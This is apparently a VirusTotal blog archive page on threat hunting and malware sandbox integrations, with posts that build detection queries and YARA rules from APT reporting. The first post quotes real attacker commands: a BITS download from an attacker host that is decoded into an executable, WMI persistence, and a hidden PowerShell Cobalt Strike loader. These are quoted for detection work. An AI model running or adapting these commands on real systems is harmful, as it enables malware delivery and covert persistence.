Showing posts with label Malware behaviour. Show all posts
Showing posts with label Malware behaviour. Show all posts

Thursday, November 23, 2023

, , , ,

Actionable Threat Intel (VI) - A day in a Threat Hunter's life

Kaspersky's CTI analysts recently released their Asian APT groups report, including details on behavior by different adversaries. Following our series on making third-party intelligence actionable using VirusTotal Intelligence, we have put on our threat hunter’s hat to find samples and monitor activity based on the report’s details.
Many of the behaviors shared by Kaspersky are based on the use of LOLBAS by attackers once the set foothold on the victim. This is an increasing trend by adversaries, which makes it critical for security analysts to understand these binaries’ capabilities.
Let’s start by analyzing the most interesting bits we found in the report.

Start-BitsTransfer

Start-BitsTransfer is a cmdlet that supports the download of multiple files, which seems to be an alternative for adversaries to the most commonly used bitsadmin.exe binary. The report describes its use in different cases, here we can find one example:
PowerShell "Start-BitsTransfer -Source hxxp://security.lomiasecure[.]net/crx/node.txt -Destination C:\\Users\\public\\node.txt -transfertype download" PowerShell if($InputString = Get-Content 'C:\\users\\public\\node.txt'){ [System.IO.File]::WriteAllBytes('C:\\users\\public\\node.exe', [System.Convert]::FromBase64String($InputString))}
The example uses FromBase64String and WriteAllBytes, so our query will look for either of them using an OR condition, as well as for the presence of the "Start-BitsTransfer" cmdlet in sandbox’s behavior. The following VT intelligence query obtains samples with similar (not identical) behaviors.
behavior_processes:"Start-BitsTransfer -Source" (behavior_processes:"[System.Convert]::FromBase64String" or behavior_processes:"[System.IO.File]::WriteAllBytes")
The query returns 12 suspicious samples. Activity seems to be clustered around October and November 2023. Some of the results are related, according to OSINT, to APT33 and The Gorgon Group:

WMI Event Subscription

This technique is used by threat actors during lateral movement mainly for execution and persistence. To achieve this the WMI event subscription points to the payload to execute.
instance of __EventFilter { EventNamespace = "root\\cimv2"; Name = "Chrome Update"; Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >=240 AND TargetInstance.SystemUpTime < 325"; QueryLanguage = "WQL"; };
instance of CommandLineEventConsumer { ExecutablePath = "C:\\Windows\\System32\\GoogleUpdate.exe"; Name = "GoogleUpdater"; };
There are different ways to search in VirusTotal for samples with this behavior. In this case, we identified the use of "ExecutablePath" instead of "CommandLineTemplate" to specify the path to the payload, which is the more common method. When “CommandLineTemplate” is null, the value of “ExecutablePath” is used instead. Then the process is executed by calling the “CreateProcess” API. The following VTI query is based on this finding:
(behavior:"EventNamespace =") (behavior:"Name =") behavior:"QueryLanguage = \"WQL\"" (behavior:"__EventFilter" behavior:"CommandLineEventConsumer") behavior:"ExecutablePath ="
This query returns 41 results, including Konni malware samples and samples attributed to APT37. As a confirmation to our previous assumption, using “CommandLineTemplate =” instead of “ExecutablePath =” returns 1.1k samples.
Please note the use of "behavior" instead of "behavior_processes" in the previous VTI query. The reason is WMI statements are commonly stored in the "Dataset actions", "Highlighted Text" and "Calls Highlighted" sections under the sample’s behavior. This is because WMI events do not launch new processes, as they are processed by a ETW provider, resulting in these events being mapped under “behavior” by the sandbox. Here you can find an example.
Another interesting way to hunt and monitor samples using this technique is through the following crowdsourced sigma rule, which checks for WMI event subscriptions.
sigma_rule:07b95c7eb376ac65a345dc6a2c1cb03732e085818d93bd1ea2e7d3706619d78e

PowerShell capabilities

Not surprisingly, PowerShell is one of the most used scripting languages by attackers. In particular, the following code injects Cobalt Strike in binary form into memory.
С:\Windows\system32\cmd.exe /b /c start /b /min PowerShell.exe -nop -w hidden -noni -c "if([IntPtr]::Size -eq 4){$b=$env:windir+ '\sysnative\WindowsPowerShell\v1.0\PowerShell.exe'}else{$b='PowerShell.exe'};$s=NewObject System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System. Convert]::FromBase64String(''H4sIAIKCBWACA7VWa2+ bSBT9nEj5D6iyZFAcP5I0bSJVWsY2McR2jYlxbK+1IjDA1MMjMDgm3f73vYMhTbdp.... '))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))'; $s.UseShellExecute=$false;$s.RedirectStandardOutput=$true; $s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);"
From the previous PowerShell, it is possible to create a query to detect patterns using the same memory injection technique. The resulting samples seem to mostly use it to inject Metasploit.
behavior_processes:"{$b='PowerShell.exe'}" behavior_processes:"-nop -w hidden -noni -c" behavior_processes:"{$b=$env:windir+"
From the previous query, half of the results correspond to metasploit samples, mainly “.bat” scripts that aim to execute “cmd.exe” to launch PowerShell, and finally, load in memory the payload in binary form.
41 out of 44 results are identified by the same sigma rule “Powershell Decrypt And Execute Base64 Data”, created by Joe Security. We can search additional identified samples by this crowdsourced rule with the VTI following query.
sigma_rule:d77da6b7c1a6f6530b4eb82ca84407ff02947b235ab29c94eade944c4f51e499

Automate your queries 🚀

The previous are simple examples on how a CTI team could consume tactical intelligence for hunting. Once assessed the efficacy of the VTI queries, it's time to convert them into VT Livehunt rules to automatically monitor any suspicious future activity. VTI queries can be easily translated into YARA rules, used by Livehunt, thanks to the “vt” module. Let’s see how.
Start-BitsTransfer
The Livehunt YARA rule resulting from our previous VTI query will automatically monitor and notify us with any new samples using the Start-BitsTransfer cmdlet technique previously discussed. This is usually used either through a script or directly on the command line interpreter.
In our YARA, we use different fields like “terminated processes”, “executed commands” or “created processes” to look for the use of “Star-BitsTransfer”. Then we search in processes created, terminated and command executions for traces of the “FromBase64” and “System.IO.File” strings, also needed for this technique. Finally, we added the “new file” modifier at the beginning to receive notifications only for fresh new uploads.
🚀 Check out the rule on our GitHub
WMI Event Subscription
For this rule, we split the condition into two blocks. The first one searches for the patterns we used in our VTI query in “processes created”, “terminated” and “commands executed” during detonation. The second block searches for the same strings in a different set of fields, in this case “highlighted calls”, “highlighted text”, and “system property lookups” given WMI execution is also (although, more rarely) stored in these fields, as previously discussed.
🚀 Check out the rule on our GitHub
PowerShell capabilities
This rule, as the previous ones, searches for patterns in “processes created”, “terminated” and “commands executed”. In addition to that, it also searches telemetry generated by sigma rule matches, which is a powerful feature often overlooked. In this case, it will search for Windows XML EventLog EVTX events generated by our sandboxes containing the same pattern we searched for in “behavior”.
🚀 Check out the rule on our GitHub

Wrapping up

VT Intelligence queries based on third-party intelligence publications is one of the most usual tasks for CTI teams, allowing a better understanding and calibration of the malicious campaign, threat hunting and monitoring. Queries based on TTPs could be easily generated thanks to all the details resulting from VirusTotal’s sandbox detonation. Once the query is polished and we are happy with the results, it can quickly be converted into a YARA livehunt rule to automate the identification of new samples and monitor the evolution of the given campaign.
The process illustrated in this blog can be used by any CTI, Threat Hunting, and even Detection Engineering teams, leveraging external low-level tactical information for hunting, better understanding of the campaigns and malware leveraged, threat actor identification, estimate amount of samples, detection and timeline, monitor any campaign’s evolution, extract IOCs for proactive protection and develop rules for internal detection.
As usual, we are happy to hear from you!
Happy hunting!

Tuesday, October 17, 2023

, , , , , , , ,

The path from VT Intelligence queries to VT Livehunt rules: A CTI analyst approach

This post will explain the process you can follow to create a VT Livehunt rule from a VT Intelligence query. Something typical in threat hunting and threat intelligence operations.
Let’s assume that, as a threat hunter, you created robust VT intelligence (VTI) queries getting you reliable results without false positives. Your queries are so good that you run them daily to obtain fresh new samples, which is a tedious job to do manually (pro tip - you can automate using the API).
A good alternative would be converting your VTI query into a LiveHunt rule, so you will be immediately notified every time any uploaded indicator matches your criteria. Unfortunately, there is not an automated way to convert intelligence queries into LiveHunt rules (and vice versa), and in some cases it is not even possible to obtain exactly the same results (technical tldr - due to limitations of the stored data structure).
But do not despair. In this post we are going to show many practical cases showing LiveHunt rules based on VT intelligence queries, how you can do it yourself, and pros, cons and limitations for this approach.

The perfect query ̶d̶o̶e̶s̶n̶’̶t̶ exist

Bitter APT
Bitter APT is a suspected South Asian cyber espionage threat group. Security researchers like StopMalvertisin, among others, regularly publish information about this actor in both X and VirusTotal community.
To start hunting for files related to Bitter APT, you probably want to subscribe to any attributed VirusTotal collection or the threat actor profile itself.
You can also search for what the community is discussing about this APT directly by searching on community comments. For example, the next query returns samples related to Bitter APT.
entity:file comment:"Bitter APT"

When checking these samples’ behavior we can find interesting patterns that can be used to hunt for other similar ones. For instance, Bitter seems to specially like the "chm" file format, as seen in the initial Twitter/X reference and when calculating Commonalities among these files, along with the use of scheduled tasks to achieve persistence on targeted systems, and run the %comspec% environment variable through the scheduled task created to execute msiexec.exe followed by an URL.
All these behavioral characteristics will help us create good LiveHunt rules and queries to detect additional samples. For example:
behavior_processes:"%Comspec%" behavior_processes:"schtasks.exe" tag:chm
The query returns 39 different samples, most of them apparently related to Bitter based on behavior similarities.
Now it's time to translate our query into a LiveHunt rule. Certain functionalities available for VTI queries are not ready (yet) in VT LiveHunt and vice versa. We are working to maximize the integration between both systems, and we will get back with more details as we progress in this.
As we published, we can create a LiveHunt rule from a sample by simply clicking - we are going to create a rule based on 7829b84b5e415ff682f3ef06b9a80f64be5ef6d1d2508597f9e0998b91114499.
First, we are interested in identifying the use of the process “schtasks.exe” during sample detonation. In the behaviour details of this sample, we can find “schtasks.exe” in the “Process Tree” and “Shell Commands” sections.
At the moment, it is not possible to use "Process Tree" in LiveHunt rules, however we can search for processes in "Shell Commands" and "Processes Created" sections to start creating the logic of our rule. In future updates, we will integrate more fields to be used in the creation of LiveHunt YARA rules.
There is no "Processes Created" section, maybe sandboxes were unable to extract such information. But this does not mean it will be the same for future uploaded samples. We will add both the "Shell Commands" and "Processes Created" fields to the condition.
We will follow the same steps to detect the use of the environment variable “%comspec%” in the command line during detonation.
We look for the same information in the two sections (shell and processes) and in two different ways as Bitter used upper and lower case letters to spell %coMSPec%. We can simplify this with the "icontains" condition to enforce case insensitiveness.
Finally, we want to add two extra conditions. The first is that samples have the "chm" tag since it is the format we look for. The second is to get notifications exclusively for new uploaded files.
And that’s it! You can download and use this YARA rule from our public GitHub, to be integrated into our Crowdsourced YARA Hub in the future.
RomCom RAT
BlackBerry Threat Research and Intelligence team published about Targeting Politicians in Ukraine using the RomCom RAT. During the campaign, threat actors used a trojanized version of Remote Desktop Manager.
Taking a look at the behavior of the samples provided in this publication, we can find interesting behavioral indicators to generate a VTI query.
Different samples related to RomCom RAT seem to usually drop DLL files in the path “C:\Users\Public\Libraries” with different extensions, and execute them using “rundll32.exe”. That means there are also file creation events in the same path.
All of these indicators, along with others used by RomCom RAT in different intrusions, can be used to create a potential query that can later be translated into a LiveHunt.
These samples export up to three different functions:
  • fwdTst
  • #1
  • Main
“Main” is probably the most common function exported by many other legitimate DLLs, so we will ignore it. The VTI query we use is as follows:
((behavior_processes:".dll,fwdTst") OR (behavior_processes:"dll\",#1" behavior_processes:"\\Public\\Libraries\\") OR (behavior_processes:*.dll0* behavior_processes:"\\Public\\Libraries\\")) AND ((behaviour_files:*\\Public\\Libraries\\*) AND (behavior:*rundll32.exe*))
Even if you don't know that the "Main" function is common in the use of DLLs, when building our query we would observe a large number of samples matching our logic. For this reason, it is important that before creating a rule we use a query when possible to understand if results align with our expectations, and iterate the condition until we are satisfied with it.
The last query provides samples related both to RomCom RAT and Mustang Panda. This might indicate that both threat actors are using similar procedures during their campaigns.
To convert this query to LiveHunt, we will split the original query into different sections and adapt them to the rule. As previously explained, the rule will be slightly different from the original query for compatibility reasons.
  1. First, we only want DLLs, EXE or MSI files.
  2. As a precaution to minimize false positives, we want to skip samples that are not detected as malicious by AntiVirus vendors.
  3. Something that we can’t do in VT intelligence queries is determine behavioral activity related to file write actions. VTI behavior_files modifier performs a generic search for any literal within file activity, including creation, modification, writing, deletion… LiveHunt gives us more precision to specify our search only for written files during detonation.
  4. Rundll32.exe is used during execution since this DLL should be executed along this sample's process. We will search for it in different fields.
  5. Finally, we are interested in obtaining the functions exported by the observed DLLs, which are written in the command lines. We are also interested in the existence of a .DLL extension, which will indicate that there is some type of activity involving libraries.
You can also find this rule in our public Github repository. Feel free to modify it based on your needs!
Gamaredon
Our last example is related to the Gamaredon threat actor. As per MITRE “Gamaredon Group is a suspected Russian cyber espionage threat group that has targeted military, NGO, judiciary, law enforcement, and non-profit organizations in Ukraine”.
The use of the remote template injection technique is common by this threat actor. This feature involves making connections to a remote resource to load a malicious template. The external domains used to host it generally use some URL pattern. According to publications from different vendors, this actor usually registers domains in the “.ru” TLD.
Gamaredon also uses the DLL “davclnt.dll” with the “DavSetCookie” function. This behavior is related to flags that may be connected to exfiltration or use of WebDav to launch code. In other words, this is used to load the remote template. We can quickly check this with the following query:
threat_actor:"Gamaredon Group" behavior:"DavSetCookie"
Putting all this information together, we can create the next VT intelligence query to get samples related to Gamaredon:
(behavior_processes:*.ru* and behavior_processes:*DavSetCookie* and behavior_processes:*http*) and (behavior_network:*.ru* or embedded_domain:*.ru* or embedded_url:*.ru*) (type:document)
The query is designed to discover file-type documents where the following strings are found during execution:
Behavior_processes:
  • First we want to identify the use of the string “.ru” in the command line. This will be related to domains with this TLD.
  • Another string that we want to match in the command line is “DavSetCookie”, since it was used by Gamaredon to accomplish remote template loading.
  • Finally the string “http” must be in the command line as well.
Behavior_network:
  • See if there are communications established with domains having the “.ru” TLD.
Embedded_domain:
  • Domains embedded within the document containing the TLD “.ru”. It is not necessary that a connection has existed. We do it this way in case our sandboxes have had problems communicating or the sample has simply decided not to communicate.
Embedded_url:
  • URLs embedded within the document containing the TLD “.ru”. It is not necessary that a connection has existed. We do it this way in case our sandboxes have had problems communicating or the sample has simply decided not to communicate
This VT intelligence query provides results that seem to be consistent with known Gamaredon samples, based on the previously discussed patterns. It is always possible we get false positives among the results.
Let's convert this VT intelligence query to a LiveHunt to receive notifications for new interesting files.
  1. First, we want to make sure the exported DLL function is found for any command line or process-related behavior, as well as finding traces of the “.ru” TLD is found for http communication. It is important to mention that we look for information about the TLD ".ru" and the string "http" in the command lines because it could be the case that the connection is not established, but there was an intention to establish it.
  2. Communications are important, for that reason we need to check if there were connections established with domains having the TLD .ru. Remember the next block will match only if communications existed
  3. And for this example, we are just interested in document files, although you can change it to any other file type to adapt it to your needs.
As usual, you can find and download the YARA rule in our public repository.

Actual limitations

We are aware of the limitations that currently exist when translating fields from VT intelligence to LiveHunt rule and vice versa, and we are working to obtain maximum compatibility between both systems. However, for the moment this could be an advantage as they complement each other.
VTI modifiers such as behavior_processes, behavior_created_processes or even behavior are somewhat more generic than the possibilities that LiveHunt currently offers, allowing us to specify whether we want information about the processes created, completed or commands executed.
However, something that cannot be used yet in LiveHunt rules is the process tree. On some occasions, dynamic executions of our sandboxes only offer information at the process tree level, which means that this information is not available for our rules. But if you want to search information within the process tree with VT intelligence queries, you can use the “behavior” file modifier. The "behavior" modifier the process tree could be consulted to find information.

Wrapping up

Converting VT intelligence queries to LiveHunt rules is getting easier. The recently added "structure" feature in LiveHunt allows creating rules in a much simpler way by clicking on the interesting fields, creating the rule conditions for you and eliminating the need to know all available fields in the VT module.
This post describes with examples a potential approach that analysts might use for their hunting and monitoring. In particular, using VT Intelligence queries before starting working on a YARA rule is really helpful during the initial fine tuning stage of our condition. This practice minimizes noise and ensures we get quality results before we go for our LiveHunt rule. Finally, a quality VTI query can be translated into a YARA with just a few minor changes.
We hope you find this useful, and as always we are happy to hear from you any ideas or feedback you would like to share. Happy hunting!
References that could be interesting

Tuesday, June 20, 2023

, , , , ,

VirusTotal += Docguard

We are excited to announce our integration with DOCGuard for the analysis of Office documents, PDFs and other file types as a behavioral analysis engine.   This document analysis collaboration will allow the community to get the another opinion on the scanned documents. 

In their own words:
DOCGuard is a malware analysis service, whose main use case is to integrate with SEGs (Secure Email Gateways) and SOAR solutions.

 

The service performs a new kind of static analysis called structural analysis. The structural analysis dissembles the malwares and passes it to the core engines with respect to file structure components. By the aid of this approach, DOCGuard can precisely detect the malwares and extract the F/P free IOCs and may also identify obfuscation and encryption in the form of string encoding and document encryption.

 

The currently supported file types are Microsoft Office Files, PDFs, HTMLs, HTMs, LNKs, JScripts, ISOs, IMGs, VHDs, VCFs, and archives(.zip, .rar, .7z etc.). The detailed findings of the structural analysis are presented in an aggregated view in the GUI and can be downloaded as a JSON report and can also be gathered over API.



Going further, users can explore the behavior tab of the file scanned for more details. In the example below, we see a detected macro of a malicious Excel XLS file



In a malicious document, we can see memory pattern urls.
9cd785dbcceced90590f87734b8a3dbc066a26bd90d4e4db9a480889731b6d29



Additional examples:





We believe that our integration with DOCGuard is a valuable addition to our platform and we are excited to offer this new service to our community. If you have any questions, please do not hesitate to contact us.

Thursday, December 10, 2020

, , , , , , , ,

VirusTotal Multisandbox += Sangfor ZSand

VirusTotal multisandbox project welcomes Sangfor ZSandThe ZSand currently focuses on PE files,with extensions to other popular file types like javascript and Microsoft office to be released soon.


In their own words:
ZSand, developed by Sangfor Technologies’ Cloud Computing & Security Team, is an agentless behavioral analysis engine incorporating multiple innovative techniques. At the systems level, zSand employs Two-Dimensional Paging (TDP) techniques to inject hidden breakpoints, enabling accurate monitoring of the API calling sequence of a given process for further fine-grained analysis. At the GUI level, interactions are simulated by the virtual network console (VNC) and visual artificial intelligence (AI) techniques, providing a lifelike and fully functional sandbox. At the detection level, zSand identifies all forms of malware, including vulnerability exploits, by uncovering malicious behaviors and synergistically applying both conventional rule-based approaches and advanced AI algorithms. As a core innovation of the Sangfor anti-malware research group, zSand is a significant improvement in cyber-security capability for both Sangfor Technologies and its clients, customers and partners. Use cases include proactive hunting for unknown threats and the near real-time production of threat intelligence identifying malicious URLs, domain names, files, memory fingerprints, and malicious behavioral patterns. zSand is an agentless behavior monitoring engine, allowing users to deploy real-time defenses in a virtual environment.

In comparison with other sandboxes, the key advantages of zSand include:
  • High runtime performance -- By optimising the configuration of TDP and reducing the number of VMExit events, zSand minimizes monitoring overhead and resource utilization.
  • Strong anti-evasion measures -- Thanks to high performance hardware virtualisation and agentless features, zSand is immune to anti-sandbox detection. 
  • Comprehensive monitoring -- zSand retrieves detailed malware behavioral events and associated states of hardware including CPU, memory, disks, and network interfaces. 
  • Extensive and in-depth analysis -- Designed by cyber-security specialists and AI specialists, zSand is able to dynamically detect elusive and concealed malicious behavior, vulnerability exploits, malware persistence, and privilege escalation, at low levels.


Take take a look in the behavior tab to view these new sandbox reports:



Example reports:

You can also take a look at a couple of Sangfor ZSand behavior analysis reports here and here.
In case you are interested in searching for specific Sangfor ZSand reports, VirusTotal premium services customers may specify so using sandbox_name:sangfor in their queries.

Pivot on interesting behavioural characteristics

All malware uploaded to VirusTotal is detonated in multiple sandboxes, providing security analysts with many interesting and powerful possibilities. Having multiple fine-tuned sandboxes increases the possibilities of malware detonating properly (remember malware usually implements different anti-sandboxing techniques), and provides valuable dynamic data on how the malware behaves.


Why is this data valuable? Because it gives us details that are not visible at static analysis time. For instance, we can use this data to land some TTPs into something more actionable. We will get back on this topic on a future blogpost.


For example, taking in the following sandbox report we find some potentially interesting mutex names. 


We can use this data to pivot and find other malware having the same mutexes when detonated on our sandboxes. By clicking on one of the interesting mutexes, in this case ENGEL_12, we will create a new search ( behaviour:ENGEL_12) which provides us with samples belonging to a common family of padodor malware.




It turns out that this is a valuable dynamic indicator we can use to identify malware samples belonging to this particular malware strain.   From VirusTotal, we welcome this new addition to our Sandboxing arsenal. Happy hunting!

Wednesday, May 08, 2019

, , , , , , ,

VirusTotal MultiSandbox += Yoroi: Yomi sandbox

We are excited to welcome Yomi: The Malware Hunter from Yoroi to the mutisandbox project. This brings VirusTotal upl to seven integrated sandboxes, in addition to VT’s own sandboxes for Windows, MacOS, and Android.


In their own words:
Yomi engine implements a multi-analysis approach able to exploit both static analysis and behavioral analysis, providing ad hoc analysis path for each kind of files. The static analysis section includes document and macro code extraction, imports, dependencies and trust chain analysis. The behavioral detection engine is weaponized to recognize suspicious actions the malware silently does, giving a powerful insight on command and control, exfiltration and lateral movement activities over the network, including encrypted channels. Each analysis is reported in an intuitive aggregated view to spot interesting patterns at a glance.


Some recent samples on VirusTotal with reports from Yoroi:


To see the full details click on the “Full report” within the behavior tab.


Interesting features


Executed commands
Within the Yomi Hunter report, additional information on executed commands can be seen. In this case, we see obfuscated powershell commands being run.


To search other behaviour reports for the string “zgohmskxd” we can use the behavior_processes:zgohmskxd search query to find another sample with the same variable name. Check out the other search modifiers that can be used to find similar samples.


Mutexes

Within the Additional information tab, we can also find the mutexes used by the sample under analysis. behaviour:AversSucksForever

To search other sandbox behavior reports with the same string we can search

behavior:AversSucksForever



Mitre ATT&CK™ tab

On the MITRE ATT&CK™ tab you can see how the specific behaviour is behavior is tagged


Relationships

With the emotet sample we can see the SMB and HTTP traffic. Next you can click on the relationships tab to see other related IP Addresses, Domains, URLs and files.

You can visually see these relationships from within VirusTotal Graph:


Tuesday, May 07, 2019

, , , , , ,

VirusTotal Multisandbox += NSFOCUS POMA

We are pleased to announce that the multisandbox project has partnered with NSFOCUS POMA. This brings VirusTotal up to six integrated sandboxes. The NSFOCUS sandbox gives us insight into the behaviour of samples that run on Windows 7 and XP SP3.

In their own words:

NSFOCUS POMA, as an integral part of the NSFOCUS Threat Intelligence (NTI) system, is a cloud‐based malware analysis engine built by the NSFOCUS Security Lab. It can take various types of files and perform both static and dynamic analysis on them to detect potentially malicious behavior, and produce analytic reports in many formats (including STIX). This service can help a user to protect his environment from various threats, such as 0‐day attacks, advanced persistent threats (APTs), ransomware, botnets, cryptocurrency mining and other malware.


We are very honored and proud to bring such values to the VirusTotal users and community.

Here are a few examples:

https://www.virustotal.com/gui/file/a01b10ae6e81c4efc7c4a7b0a6c893907e4a6044b87ed72be7e5800ae104c8c8/behavior/NSFOCUS%20POMA

https://www.virustotal.com/gui/file/d7dd7c2482b3d38cd7fae5860eaa912f019a31fb4988f8320a105c9c4ca5ebbd/behavior/NSFOCUS%20POMA

https://www.virustotal.com/gui/file/430aa2f84cc7934cabdb644eccbdb9d8355899ed9665570bc80b58fd4c010150/behavior/NSFOCUS%20POMA


You can find the sandbox behaviour reports on the behavior tab.

Threat Summary

At the top of the detailed report, right away we can see a summary of the detection.

Threat Detail


Within the threat detail section we can see the behavior in both Windows XP SP3 and Windows 7 SP1 ordered by risk, most important at the top.






Registry actions:
Within the behaviour report we can see an interesting UUID


Using  a behavior search in VT Intelligence, we can find other samples that also use this same UUID




Connecting the dots

In the sample we can see the relationship with the IP address 185[.]45[.]252[.]36







Within VTGraph we can visually see the relationships between this sample, the IP address, domains and URLS that we know about




Tuesday, March 06, 2018

, , , , , ,

Additional Crispiness on the MacOS box of apples sandbox

In November 2015 we first released our MacOS sandbox. We now have an incremental feature improvements live on our site to help our users get further behavioral information from samples scanned with VirusTotal

Several improvements visible to users are:


  • Sandbox updated to OSX 10.11 El Capitan in sandbox.  We have a High sierra update planned for later this year. 
  • Detailed HTML analysis report is now available. 
  • Screenshots of the software under analysis to provide more contextual information:
    • Show screenshots of what a user would see
    • Help determine if the sample is waiting for user input
  • Network traffic reports updated
    • Country Detection
  • Timestamps on file operations,  to help show the sequence of events.
  • Process tree is shown if there is more than one level of processes


To view the detailed behavior report, click on the behavior tab, then select the Box of Apples sandbox, then click on the detailed report link

Click on the detailed behavior report. 




Some Samples that might be interesting, that contain the new features:
ec7241a6009f1fff38b481d8b4fd6efede4cc2f9d8ee20d9ca2b4ff66d656171
3b196c1c1a64aca81dec5a5143b3f2faaadcc4034b343f46f23348f34a2ef205
694c23b548249056bf90b2b2c252a8c9abfae4aeb611476cbdaa8dc112f79d8f


Screenshots and File operations

DNS, IP Traffic and Behavior tags


This is part of the Multi-Sandbox project.    We’ll continue to improve our own and 3rd party sandbox providers that wish to integrate sandboxes into VirusTotal.

If you find any issues, or have feature requests, please don’t hesitate to reach out to us by emailing  [email protected]